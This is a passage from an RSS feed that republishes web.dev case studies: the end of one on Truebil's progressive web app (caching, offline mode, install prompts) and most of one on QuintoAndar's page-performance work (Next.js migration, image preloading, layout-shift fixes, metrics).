<p>The interactivity and rate of change for Truebil's content vary a lot. To ensure that <em>all</em> its content is both fresh and reliable, the Truebil team implemented <a href="https://web.dev/runtime-caching-with-workbox">API caching</a> using a combination of network-first, cache-first, and fastest-first strategies.</p>
<p>For static pages, such as the subscriptions page, Truebil uses a cache-first strategy to go to their subscription API cache first, falling back to the network.</p>
<p>For pages with dynamic content that rarely changes, such as their product listing or details pages, Truebil uses a network-first strategy so that the browser first checks the network for content before falling back to the API cache if the network is unavailable.</p>
<p>And for dynamic pages that change often, such as the home, filter, search, and city pages, Truebil uses a fastest-first strategy to choose between network or cache based on whichever comes first. To ensure that content is fresh, the cache is updated whenever the network response differs from what's in the cache.</p>
<h4 id="service-workers-for-a-full-offline-experience">Service workers for a full offline experience <a class="w-headline-link" href="https://web.dev/truebil-lite/#service-workers-for-a-full-offline-experience">#</a></h4>
<p>Even though a large part of Truebil's content is highly dynamic—cars can be added or bought at any time—the team wanted to ensure that their users had <em>some</em> content to engage with, even if they were going through patchy networks or were completely offline.</p>
<p>Using <a href="https://web.dev/service-workers-cache-storage/">service workers</a>, the team was able to cache both static data and the dynamic data that a user has already interacted with so that the user can view it offline. To make sure users know that content might change when they come back online, the team changed the UI to grayscale to indicate offline mode. Browsing product pages is a critical part of the Truebil user journey. Users who have visited the PWA at least once can browse listings and product pages that they have visited before but won't be able to see any updates to the listing or the product.</p>
<figure>
  <img alt="A screenshot of the Truebil Lite app in offline mode." decoding="async" height="384" loading="lazy" sizes="(min-width: 800px) 800px, calc(100vw - 48px)" src="https://web-dev.imgix.net/image/admin/XMJug442wdtUbxe86r2h.png?auto=format" srcset="https://web-dev.imgix.net/image/admin/XMJug442wdtUbxe86r2h.png?auto=format&w=200 200w, https://web-dev.imgix.net/image/admin/XMJug442wdtUbxe86r2h.png?auto=format&w=228 228w, https://web-dev.imgix.net/image/admin/XMJug442wdtUbxe86r2h.png?auto=format&w=260 260w, https://web-dev.imgix.net/image/admin/XMJug442wdtUbxe86r2h.png?auto=format&w=296 296w, https://web-dev.imgix.net/image/admin/XMJug442wdtUbxe86r2h.png?auto=format&w=338 338w, https://web-dev.imgix.net/image/admin/XMJug442wdtUbxe86r2h.png?auto=format&w=385 385w, https://web-dev.imgix.net/image/admin/XMJug442wdtUbxe86r2h.png?auto=format&w=439 439w, https://web-dev.imgix.net/image/admin/XMJug442wdtUbxe86r2h.png?auto=format&w=500 500w, https://web-dev.imgix.net/image/admin/XMJug442wdtUbxe86r2h.png?auto=format&w=571 571w, https://web-dev.imgix.net/image/admin/XMJug442wdtUbxe86r2h.png?auto=format&w=650 650w, https://web-dev.imgix.net/image/admin/XMJug442wdtUbxe86r2h.png?auto=format&w=741 741w, https://web-dev.imgix.net/image/admin/XMJug442wdtUbxe86r2h.png?auto=format&w=845 845w, https://web-dev.imgix.net/image/admin/XMJug442wdtUbxe86r2h.png?auto=format&w=964 964w, https://web-dev.imgix.net/image/admin/XMJug442wdtUbxe86r2h.png?auto=format&w=1098 1098w, https://web-dev.imgix.net/image/admin/XMJug442wdtUbxe86r2h.png?auto=format&w=1252 1252w, https://web-dev.imgix.net/image/admin/XMJug442wdtUbxe86r2h.png?auto=format&w=1428 1428w, https://web-dev.imgix.net/image/admin/XMJug442wdtUbxe86r2h.png?auto=format&w=1600 1600w" width="800" />
  <figcaption>
    Truebil Lite in offline mode.
  </figcaption>
</figure>
<h3 id="improve-engagement-to-keep-users-coming-back">Improve engagement to keep users coming back <a class="w-headline-link" href="https://web.dev/truebil-lite/#improve-engagement-to-keep-users-coming-back">#</a></h3>
<h4 id="an-engaging-first-experience">An engaging first experience <a class="w-headline-link" href="https://web.dev/truebil-lite/#an-engaging-first-experience">#</a></h4>
<p>Since most of their users come from paid channels, Truebil needed to supplement their fast loading web app with a product that surfaces highly relevant recommendations to increase conversions. While the team uses a recommendation system based on sophisticated filtering for existing users, their system doesn't work for users who log in for the first time.</p>
<p>To avoid giving their first-time users a cold start, the team integrated a recommendation system using their digital marketing efforts. They add product details such as car model, price, and body type into an ad's destination URL through a UTM parameter, which is read by their recommendation system and reflected in the products surfaced. In case the sysme reads no such details in the URL, it falls back to popular cars, which is a combination of popular models, popular budgets, and cars that have been popular in the last few weeks or days.</p>
<h4 id="an-installable-web-app">An installable web app <a class="w-headline-link" href="https://web.dev/truebil-lite/#an-installable-web-app">#</a></h4>
<p>Having built a fast, full-featured web app with a compelling user experience, Truebil wanted to ensure that their users would keep coming back. They realized that making the app installable would make repeat visits much more seamless.</p>
<p>The team implemented the <a href="https://developers.google.com/web/fundamentals/app-install-banners/" rel="noopener">Add to Home Screen</a> feature to make their product a full progressive web app (PWA). This approach allowed users to add Truebil Lite to the home screen and launch it in full-screen mode. And since they had already implemented an offline mode, the team was able to add the new feature easily.</p>
<p>To ensure that their users weren't spammed and to increase the probability that users would install the app, the team recently updated their strategy for <a href="https://developers.google.com/web/fundamentals/app-install-banners/promoting-install-mobile" rel="noopener">promoting PWA installation</a> so that  installation prompts appear when they'll actually be useful to different kinds of users. Truebil settled on a three-part strategy:</p>
<ul>
<li>Show prompts when the user has completed an action or is idle.</li>
<li>Show contextual prompts to mature users.</li>
<li>Show a banner when the user has spent a set amount of time on the site.</li>
</ul>
<h4 id="default-banners-on-process-completion-and-on-high-traffic-pages">Default banners on process completion and on high-traffic pages <a class="w-headline-link" href="https://web.dev/truebil-lite/#default-banners-on-process-completion-and-on-high-traffic-pages">#</a></h4>
<p>The team decided to show an installation banner when a user completes a task or is on high-traffic pages but idle (that is, not taking an action, such as scrolling or filling out a form). This approach allowed them to avoid interrupting the user's activity.</p>
<img alt="Screenshots of Truebil Lite&#x27;s installation banner." decoding="async" height="549" loading="lazy" sizes="(min-width: 800px) 800px, calc(100vw - 48px)" src="https://web-dev.imgix.net/image/admin/geEMVQf4YjnkVr9HPRzt.png?auto=format" srcset="https://web-dev.imgix.net/image/admin/geEMVQf4YjnkVr9HPRzt.png?auto=format&w=200 200w, https://web-dev.imgix.net/image/admin/geEMVQf4YjnkVr9HPRzt.png?auto=format&w=228 228w, https://web-dev.imgix.net/image/admin/geEMVQf4YjnkVr9HPRzt.png?auto=format&w=260 260w, https://web-dev.imgix.net/image/admin/geEMVQf4YjnkVr9HPRzt.png?auto=format&w=296 296w, https://web-dev.imgix.net/image/admin/geEMVQf4YjnkVr9HPRzt.png?auto=format&w=338 338w, https://web-dev.imgix.net/image/admin/geEMVQf4YjnkVr9HPRzt.png?auto=format&w=385 385w, https://web-dev.imgix.net/image/admin/geEMVQf4YjnkVr9HPRzt.png?auto=format&w=439 439w, https://web-dev.imgix.net/image/admin/geEMVQf4YjnkVr9HPRzt.png?auto=format&w=500 500w, https://web-dev.imgix.net/image/admin/geEMVQf4YjnkVr9HPRzt.png?auto=format&w=571 571w, https://web-dev.imgix.net/image/admin/geEMVQf4YjnkVr9HPRzt.png?auto=format&w=650 650w, https://web-dev.imgix.net/image/admin/geEMVQf4YjnkVr9HPRzt.png?auto=format&w=741 741w, https://web-dev.imgix.net/image/admin/geEMVQf4YjnkVr9HPRzt.png?auto=format&w=845 845w, https://web-dev.imgix.net/image/admin/geEMVQf4YjnkVr9HPRzt.png?auto=format&w=964 964w, https://web-dev.imgix.net/image/admin/geEMVQf4YjnkVr9HPRzt.png?auto=format&w=1098 1098w, https://web-dev.imgix.net/image/admin/geEMVQf4YjnkVr9HPRzt.png?auto=format&w=1252 1252w, https://web-dev.imgix.net/image/admin/geEMVQf4YjnkVr9HPRzt.png?auto=format&w=1428 1428w, https://web-dev.imgix.net/image/admin/geEMVQf4YjnkVr9HPRzt.png?auto=format&w=1600 1600w" width="800" />
<h4 id="contextual-prompts-for-mature-users">Contextual prompts for mature users <a class="w-headline-link" href="https://web.dev/truebil-lite/#contextual-prompts-for-mature-users">#</a></h4>
<p>For users who had interacted with the app for a while, the team used highly contextual custom messages to show the value of installing the app to the home screen:</p>
<img alt="Screenshots of Truebil Lite&#x27;s contextual installation prompts for mature users." decoding="async" height="514" loading="lazy" sizes="(min-width: 800px) 800px, calc(100vw - 48px)" src="https://web-dev.imgix.net/image/admin/uPxqbyldE0kNurRPsk2S.png?auto=format" srcset="https://web-dev.imgix.net/image/admin/uPxqbyldE0kNurRPsk2S.png?auto=format&w=200 200w, https://web-dev.imgix.net/image/admin/uPxqbyldE0kNurRPsk2S.png?auto=format&w=228 228w, https://web-dev.imgix.net/image/admin/uPxqbyldE0kNurRPsk2S.png?auto=format&w=260 260w, https://web-dev.imgix.net/image/admin/uPxqbyldE0kNurRPsk2S.png?auto=format&w=296 296w, https://web-dev.imgix.net/image/admin/uPxqbyldE0kNurRPsk2S.png?auto=format&w=338 338w, https://web-dev.imgix.net/image/admin/uPxqbyldE0kNurRPsk2S.png?auto=format&w=385 385w, https://web-dev.imgix.net/image/admin/uPxqbyldE0kNurRPsk2S.png?auto=format&w=439 439w, https://web-dev.imgix.net/image/admin/uPxqbyldE0kNurRPsk2S.png?auto=format&w=500 500w, https://web-dev.imgix.net/image/admin/uPxqbyldE0kNurRPsk2S.png?auto=format&w=571 571w, https://web-dev.imgix.net/image/admin/uPxqbyldE0kNurRPsk2S.png?auto=format&w=650 650w, https://web-dev.imgix.net/image/admin/uPxqbyldE0kNurRPsk2S.png?auto=format&w=741 741w, https://web-dev.imgix.net/image/admin/uPxqbyldE0kNurRPsk2S.png?auto=format&w=845 845w, https://web-dev.imgix.net/image/admin/uPxqbyldE0kNurRPsk2S.png?auto=format&w=964 964w, https://web-dev.imgix.net/image/admin/uPxqbyldE0kNurRPsk2S.png?auto=format&w=1098 1098w, https://web-dev.imgix.net/image/admin/uPxqbyldE0kNurRPsk2S.png?auto=format&w=1252 1252w, https://web-dev.imgix.net/image/admin/uPxqbyldE0kNurRPsk2S.png?auto=format&w=1428 1428w, https://web-dev.imgix.net/image/admin/uPxqbyldE0kNurRPsk2S.png?auto=format&w=1600 1600w" width="800" />
<h4 id="a-custom-banner-for-time-based-prompts">A custom banner for time-based prompts <a class="w-headline-link" href="https://web.dev/truebil-lite/#a-custom-banner-for-time-based-prompts">#</a></h4>
<p>Finally, the team built in a non-intrusive banner with a notification-like design that's triggered at specific events, such as opening a listing page or after the user has spent a set amount of time spent in the app:</p>
<figure>
  <img alt="A screenshot of Truebil Lite&#x27;s time-based installation prompt banner." decoding="async" height="868" loading="lazy" sizes="(min-width: 452px) 452px, calc(100vw - 48px)" src="https://web-dev.imgix.net/image/admin/5UN2g9g7NWq85CMVoRYf.png?auto=format" srcset="https://web-dev.imgix.net/image/admin/5UN2g9g7NWq85CMVoRYf.png?auto=format&w=200 200w, https://web-dev.imgix.net/image/admin/5UN2g9g7NWq85CMVoRYf.png?auto=format&w=228 228w, https://web-dev.imgix.net/image/admin/5UN2g9g7NWq85CMVoRYf.png?auto=format&w=260 260w, https://web-dev.imgix.net/image/admin/5UN2g9g7NWq85CMVoRYf.png?auto=format&w=296 296w, https://web-dev.imgix.net/image/admin/5UN2g9g7NWq85CMVoRYf.png?auto=format&w=338 338w, https://web-dev.imgix.net/image/admin/5UN2g9g7NWq85CMVoRYf.png?auto=format&w=385 385w, https://web-dev.imgix.net/image/admin/5UN2g9g7NWq85CMVoRYf.png?auto=format&w=439 439w, https://web-dev.imgix.net/image/admin/5UN2g9g7NWq85CMVoRYf.png?auto=format&w=500 500w, https://web-dev.imgix.net/image/admin/5UN2g9g7NWq85CMVoRYf.png?auto=format&w=571 571w, https://web-dev.imgix.net/image/admin/5UN2g9g7NWq85CMVoRYf.png?auto=format&w=650 650w, https://web-dev.imgix.net/image/admin/5UN2g9g7NWq85CMVoRYf.png?auto=format&w=741 741w, https://web-dev.imgix.net/image/admin/5UN2g9g7NWq85CMVoRYf.png?auto=format&w=845 845w, https://web-dev.imgix.net/image/admin/5UN2g9g7NWq85CMVoRYf.png?auto=format&w=904 904w" width="452" />
</figure>
<p>Because of these improvements, Truebil's conversion and engagement rates have grown significantly with <strong>26% longer user sessions</strong> and <strong>61% more conversions</strong>, which is significant for their business given the high transaction value of each conversion.</p>
<blockquote>
  <p>For a startup with limited resources, choosing the right platform can be critical to the success of the business. Moving to a PWA focused on speed, resilience, and engagement, enabled us to increase our revenue-to-marketing spend by <strong>80%</strong> thanks to increased conversions and the frictionless reach of the web.</p>
  <cite>Rakesh Raman, Co-Founder and Chief of Product & Data Science at Truebil</cite>
</blockquote>
<div class="stats">
  <div class="stats__item">
    <p class="stats__figure">44<sub>%</sub></p>
    <p>Improvement in loading time</p>
  </div>
  <div class="stats__item">
    <p class="stats__figure">26<sub>%</sub></p>
    <p>Longer user sessions</p>
  </div>
  <div class="stats__item">
    <p class="stats__figure">61<sub>%</sub></p>
    <p>Increase in conversions</p>
  </div>
  <div class="stats__item">
    <p class="stats__figure">80<sub>%</sub></p>
    <p>Increase in revenue-to-marketing spend</p>
  </div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[How QuintoAndar increased conversion rates and pages per session by improving page performance]]></title>
<description><![CDATA[QuintoAndar is a Brazilian proptech company whose products offer digital end-to-end solutions for real estate. This year, we carried out a project focused on improving the performance of a content hub in our app, and had encouraging results in increasing user traffic and conversion metrics.

 
  ...]]></description>
<link>https://tsecurity.de/de/1725692/web-tipps/how-quintoandar-increased-conversion-rates-and-pages-per-session-by-improving-page-performance/</link>
<guid isPermaLink="true">https://tsecurity.de/de/1725692/web-tipps/how-quintoandar-increased-conversion-rates-and-pages-per-session-by-improving-page-performance/</guid>
<pubDate>Thu, 08 Dec 2022 19:45:05 +0100</pubDate>
<category>Web Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>QuintoAndar is a Brazilian proptech company whose products offer digital end-to-end solutions for real estate. This year, we carried out a project focused on improving the performance of a content hub in our app, and had encouraging results in increasing user traffic and conversion metrics.</p>
<div class="stats">
 <div class="stats__item">
   <p class="stats__figure">46<sub>%</sub></p>
   <p>reduction in bounce rate</p>
 </div>
 <div class="stats__item">
   <p class="stats__figure">87<sub>%</sub></p>
   <p>increase in pages per session</p>
 </div>
 <div class="stats__item">
   <p class="stats__figure">5<sub>%</sub></p>
   <p>improvement in conversion during validation phase</p>
 </div>
</div>
<h2 id="challenges">Challenges <a class="w-headline-link" href="https://web.dev/quintoandar/#challenges">#</a></h2>
<p>Our app has a condominium content hub with over 40,000 pages, where users can get information about their properties, check photos of the common areas, read about the neighborhood, and find available listings for rent or sale. These pages are very important for QuintoAndar:</p>
<ul>
<li>They are an important source of <a href="https://en.wikipedia.org/wiki/Organic_search_results" rel="noopener">organic traffic</a>, with a steadily increasing number of users coming from search engine results.</li>
<li>They have high conversion rates in the medium to long-term compared to other pages.</li>
</ul>
<p>However, there were challenges when it came to the performance and user experience in these pages:</p>
<ul>
<li>Their performance as measured by <a href="https://web.dev/vitals/">Core Web Vitals</a> was not optimized, and there were known issues regarding slow page loads, slow responsiveness to user input, and layout instability.</li>
<li>Their <a href="https://en.wikipedia.org/wiki/Bounce_rate" rel="noopener">bounce rates</a> were high, even if we expected them to be higher than in other parts of the app.</li>
<li>The <a href="https://developers.google.com/search/blog/2020/11/timing-for-page-experience" rel="noopener">page experience update in Google Search</a>—which, at that time, was not yet released—would include Core Web Vitals into the ranking algorithm, which meant page performance could affect how search results were going to be displayed.</li>
</ul>
<p>At the same time, we identified some developer experience opportunities that could unlock gains in other projects across the company:</p>
<ul>
<li>Our server-side rendering logic—which renders all high-traffic pages, including condominium pages—was created in-house, and became too complex to maintain and onboard new hires.</li>
<li>Essential features to achieve good app performance, such as <a href="https://developer.mozilla.org/docs/Glossary/Code_splitting" rel="noopener">code splitting</a>, also required a custom setup plus manual work from the developers.</li>
<li>QuintoAndar has over 30 <a href="https://reactjs.org/" rel="noopener">React</a> web applications. Delivering updates to these applications and maintaining them in accordance to best practices is an arduous task.</li>
</ul>
<h2 id="approach">Approach <a class="w-headline-link" href="https://web.dev/quintoandar/#approach">#</a></h2>
<p>We began a performance optimization project of the condominium content hub to improve its user experience, as these improvements could lead to conversion gains, better SEO, and better usability. This initiative was also a fitting opportunity to improve the developer experience as well.</p>
<h3 id="migrating-to-nextjs">Migrating to Next.js <a class="w-headline-link" href="https://web.dev/quintoandar/#migrating-to-nextjs">#</a></h3>
<p>The new version of the condominium page was implemented with <a href="http://nextjs.org/" rel="noopener">Next.js</a>. Being largely independent from other parts of the app, the condominium content hub seemed like a good candidate for trying out a new framework. We would be able to understand the magnitude of migration efforts and evaluate how its features could help without affecting the other React apps in QuintoAndar.</p>
<p>A hard requirement was to ensure pages remained crawlable by search engines. Next.js meets this requirement by supporting server-side rendering out-of-the-box, and removes the need for a custom setup. The documentation makes it much easier to share knowledge on how to do tasks such as <a href="https://nextjs.org/docs/basic-features/data-fetching" rel="noopener">data fetching</a> on the server and onboard new developers. Server-side rendering is also known to <a href="https://developers.google.com/web/updates/2019/02/rendering-on-the-web#server-rendering" rel="noopener">improve performance</a> metrics such as <a href="https://web.dev/fcp/">First Contentful Paint</a> (FCP).</p>
<p>The framework provides other performance-friendly features such as automatic <a href="https://web.dev/reduce-javascript-payloads-with-code-splitting/">code splitting</a> and <a href="https://web.dev/link-prefetch/">prefetching</a>. Even though the existing structure already provided such features, the additional work required from developers stalled their adoption. For example, code splitting at page or component-level had to be done manually.</p>
<h3 id="optimizing-javascript-resources">Optimizing JavaScript resources <a class="w-headline-link" href="https://web.dev/quintoandar/#optimizing-javascript-resources">#</a></h3>
<p>The first step was to <a href="https://web.dev/remove-unused-code/">remove unused code</a>. We looked at the <a href="https://github.com/webpack-contrib/webpack-bundle-analyzer" rel="noopener">Webpack Bundle Analyzer</a> reports, which shows the contents of each JS bundle, and carefully reviewed all third-party scripts. As a result, we were able to clean up some tracking libraries that were not used in this specific page.</p>
<p>Our team went further and evaluated the performance cost of existing features. For instance, the &quot;like&quot; button required quite a lot of JS to work. However, in the condominium page, less than 0.5% of the users interacted with the button, which is available and used more frequently in other parts of our app. After a discussion involving both Engineering and Product, we decided to remove this feature.</p>
<figure>
  <video autoplay="" controls="" loop="" muted="" playsinline="">      <source src="https://storage.googleapis.com/web-dev-uploads/video/jL3OLOhcWUQDnR4XjewLBx4e3PC3/2uEL2YxbuGGlmJDlvW9F.mp4" type="video/mp4" />    </video>
  <figcaption>
    An animation showing the “like” button feature. There is a card about an apartment available for rent. In the bottom right corner of the card, there is a grey heart-shaped button that turns blue when clicked.
  </figcaption>
</figure>
<p>Other JS optimizations were already in place, such as <a href="https://web.dev/reduce-network-payloads-using-text-compression/#static-compression">static compression with Brotli</a>, which was done at build time using <a href="https://github.com/mynameiswhm/brotli-webpack-plugin" rel="noopener"><code>BrotliWebpackPlugin</code></a>, and was also applied to other types of static resources. At first, we were relying on the compression provided by the CDN, and Brotli reduced JS size by 18% compared to gzip. But then, we switched to Brotli compression at build time, and were able to achieve a 24% reduction.</p>
<h3 id="optimizing-image-resources">Optimizing image resources <a class="w-headline-link" href="https://web.dev/quintoandar/#optimizing-image-resources">#</a></h3>
<p>There is a hero image occupying most of the area above the fold in the mobile version. It also happens to be the <a href="https://web.dev/lcp/">Largest Contentful Paint</a> (LCP) of the page.</p>
<figure>
  <img alt="The condominium page for Edifício Copan (São Paulo, Brazil). A photo taken from the ground level shows the curves of the building structure." decoding="async" height="640" loading="lazy" sizes="(min-width: 360px) 360px, calc(100vw - 48px)" src="https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/W7koRinBm3QXErIzwGP8.png?auto=format" srcset="https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/W7koRinBm3QXErIzwGP8.png?auto=format&w=200 200w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/W7koRinBm3QXErIzwGP8.png?auto=format&w=228 228w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/W7koRinBm3QXErIzwGP8.png?auto=format&w=260 260w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/W7koRinBm3QXErIzwGP8.png?auto=format&w=296 296w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/W7koRinBm3QXErIzwGP8.png?auto=format&w=338 338w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/W7koRinBm3QXErIzwGP8.png?auto=format&w=385 385w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/W7koRinBm3QXErIzwGP8.png?auto=format&w=439 439w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/W7koRinBm3QXErIzwGP8.png?auto=format&w=500 500w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/W7koRinBm3QXErIzwGP8.png?auto=format&w=571 571w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/W7koRinBm3QXErIzwGP8.png?auto=format&w=650 650w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/W7koRinBm3QXErIzwGP8.png?auto=format&w=720 720w" width="360" />
  <figcaption>
    The hero image of a condominium page.
  </figcaption>
</figure>
<p>Previously, all images already had <code>srcset</code> and <code>sizes</code> attributes to <a href="https://web.dev/serve-responsive-images/">serve responsive images</a>. We also used <a href="https://github.com/thumbor/thumbor" rel="noopener">Thumbor</a> to resize images on-demand and configured our CDN to cache them efficiently.</p>
<p>Modern mobile devices have displays with very high pixel density, meaning the browser would render 3x or 4x versions of the image, if available. As resolution increases, it gets harder for the human eye to perceive the differences, but file sizes will increase regardless. <a href="https://blog.twitter.com/engineering/en_us/topics/infrastructure/2019/capping-image-fidelity-on-ultra-high-resolution-devices" rel="noopener">Capping the maximum image resolution</a> improved image size without compromising the user experience. We limited the hero image to serve its 2x version at most, which is approximately 35% smaller than the 3x version and 50% smaller than the 4x one.</p>
<p>To finish, we used a <a href="https://web.dev/preload-critical-assets/">preloading</a> strategy to download and display it as soon as possible, looking forward to improving the LCP metric.</p>
<div><pre class="language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>link</span> <span class="token attr-name">rel</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>preload<span class="token punctuation">"</span></span> <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>/img/450x450/892847321-143.0038687080606IMG20180420WA0037.jpg<span class="token punctuation">"</span></span> <span class="token attr-name">as</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>image<span class="token punctuation">"</span></span><span class="token punctuation">></span></span></code></pre>
</div><p>The <a href="https://nextjs.org/docs/basic-features/image-optimization" rel="noopener">Next.js built-in image component</a> includes many of these optimizations such as responsive resizing and prioritized loading. During this project, we did not migrate the existing images to use this component, but we are planning to adopt it in new features.</p>
<h3 id="reducing-layout-shift">Reducing layout shift <a class="w-headline-link" href="https://web.dev/quintoandar/#reducing-layout-shift">#</a></h3>
<p>The condominium page had a few issues with <a href="https://web.dev/cls/">Cumulative Layout Shift</a> (CLS). The elements responsible for the layout shifts were rendered only in the client—for instance, hydrating server-side markup with client-rendered components, or images without defined <code>width</code> and <code>height</code> attributes.</p>
<p>To solve these problems, we set exact dimensions for these elements when possible, or estimated values with <code>min-height</code>. There are more options, such as using the <a href="https://developer.mozilla.org/docs/Web/CSS/aspect-ratio" rel="noopener"><code>aspect-ratio</code> CSS property</a>. We also created placeholders to prevent dynamically rendered components from causing layout shifts.</p>
<figure>
  <img alt="An image showing an urban area in Google Maps with a red marker in the center." decoding="async" height="174" loading="lazy" sizes="(min-width: 397px) 397px, calc(100vw - 48px)" src="https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/VqFwUiJOtNmyNc14xljP.png?auto=format" srcset="https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/VqFwUiJOtNmyNc14xljP.png?auto=format&w=200 200w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/VqFwUiJOtNmyNc14xljP.png?auto=format&w=228 228w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/VqFwUiJOtNmyNc14xljP.png?auto=format&w=260 260w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/VqFwUiJOtNmyNc14xljP.png?auto=format&w=296 296w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/VqFwUiJOtNmyNc14xljP.png?auto=format&w=338 338w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/VqFwUiJOtNmyNc14xljP.png?auto=format&w=385 385w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/VqFwUiJOtNmyNc14xljP.png?auto=format&w=439 439w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/VqFwUiJOtNmyNc14xljP.png?auto=format&w=500 500w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/VqFwUiJOtNmyNc14xljP.png?auto=format&w=571 571w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/VqFwUiJOtNmyNc14xljP.png?auto=format&w=650 650w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/VqFwUiJOtNmyNc14xljP.png?auto=format&w=741 741w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/VqFwUiJOtNmyNc14xljP.png?auto=format&w=794 794w" width="397" />
  <figcaption>
    Defining dimensions for elements such as the map image reduced the CLS.
  </figcaption>
</figure>
<h3 id="progressively-rolling-out-changes">Progressively rolling out changes <a class="w-headline-link" href="https://web.dev/quintoandar/#progressively-rolling-out-changes">#</a></h3>
<p>Our team wanted to validate that the optimized version of the condominium hub page to make sure the user experience would be better. To achieve this, we adopted a progressive rollout strategy:</p>
<ol>
<li>In the first phase, the new version was published for a few hand-picked URLs, so only a few hundreds of users per day would see them;</li>
<li>In the second phase, it was published for more pages, accounting to a few thousand users per day;</li>
<li>In the third and final phase, it was published for all pages, and the roll-out was completed for all users.</li>
</ol>
<p>During this period, the engineering team continuously measured page performance in production and kept working on improvements. Additionally, the team compared business metrics between the new and previous versions. The results in this validation period were promising.</p>
<h2 id="results">Results <a class="w-headline-link" href="https://web.dev/quintoandar/#results">#</a></h2>
<p>The team used <a href="https://speedcurve.com/" rel="noopener">SpeedCurve</a> to continuously run <a href="https://web.dev/user-centric-performance-metrics/#how-metrics-are-measured">lab tests</a> against the condominium page. These are the results for the mobile version:</p>
<div class="table-wrapper">
  <table>
    <thead>
      <tr>
        <th>Lab metric</th>
        <th>Before</th>
        <th>After</th>
        <th>Difference</th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td>Largest Contentful Paint (LCP)</td>
        <td>2.41 seconds</td>
        <td>1.48 seconds</td>
        <td>-39%</td>
      </tr>
      <tr>
        <td>Time to Interactive (TTI)</td>
        <td>12.16 seconds</td>
        <td>7.48 seconds</td>
        <td>-39%</td>
      </tr>
      <tr>
        <td>Total Blocking Time (TBT)</td>
        <td>1124 milliseconds</td>
        <td>1056 milliseconds</td>
        <td>-4%</td>
      </tr>
      <tr>
        <td>Cumulative Layout Shift (CLS)</td>
        <td>0.0402</td>
        <td>0.0093</td>
        <td>-77%</td>
      </tr>
    </tbody>
    <caption>
      Lab metrics results collected with SpeedCurve.
    </caption>
  </table>
</div>
<p>We also wanted to check the impact on our real users. Using field data collected with <a href="https://www.instana.com/website-end-user-monitoring/" rel="noopener">Instana Website Monitoring</a>, we looked at the 1-month period before and after the roll-out. Comparing the 75th percentile for mobile users, we found that LCP decreased by 26%, and FID decreased by 72%.</p>
<figure>
  <img alt="A line graph with LCP values comparing the new and previous versions during the current and past month. The curve for the new version floats between 2 and 4 seconds, staying below the curve for the previous version most of the time." decoding="async" height="495" loading="lazy" sizes="(min-width: 800px) 800px, calc(100vw - 48px)" src="https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/IAVpmg7O1Moxk8qA7zcq.png?auto=format" srcset="https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/IAVpmg7O1Moxk8qA7zcq.png?auto=format&w=200 200w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/IAVpmg7O1Moxk8qA7zcq.png?auto=format&w=228 228w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/IAVpmg7O1Moxk8qA7zcq.png?auto=format&w=260 260w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/IAVpmg7O1Moxk8qA7zcq.png?auto=format&w=296 296w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/IAVpmg7O1Moxk8qA7zcq.png?auto=format&w=338 338w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/IAVpmg7O1Moxk8qA7zcq.png?auto=format&w=385 385w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/IAVpmg7O1Moxk8qA7zcq.png?auto=format&w=439 439w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/IAVpmg7O1Moxk8qA7zcq.png?auto=format&w=500 500w, https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/IAVpmg7O1Moxk8qA7zcq.png?auto=format&w=571 571w, 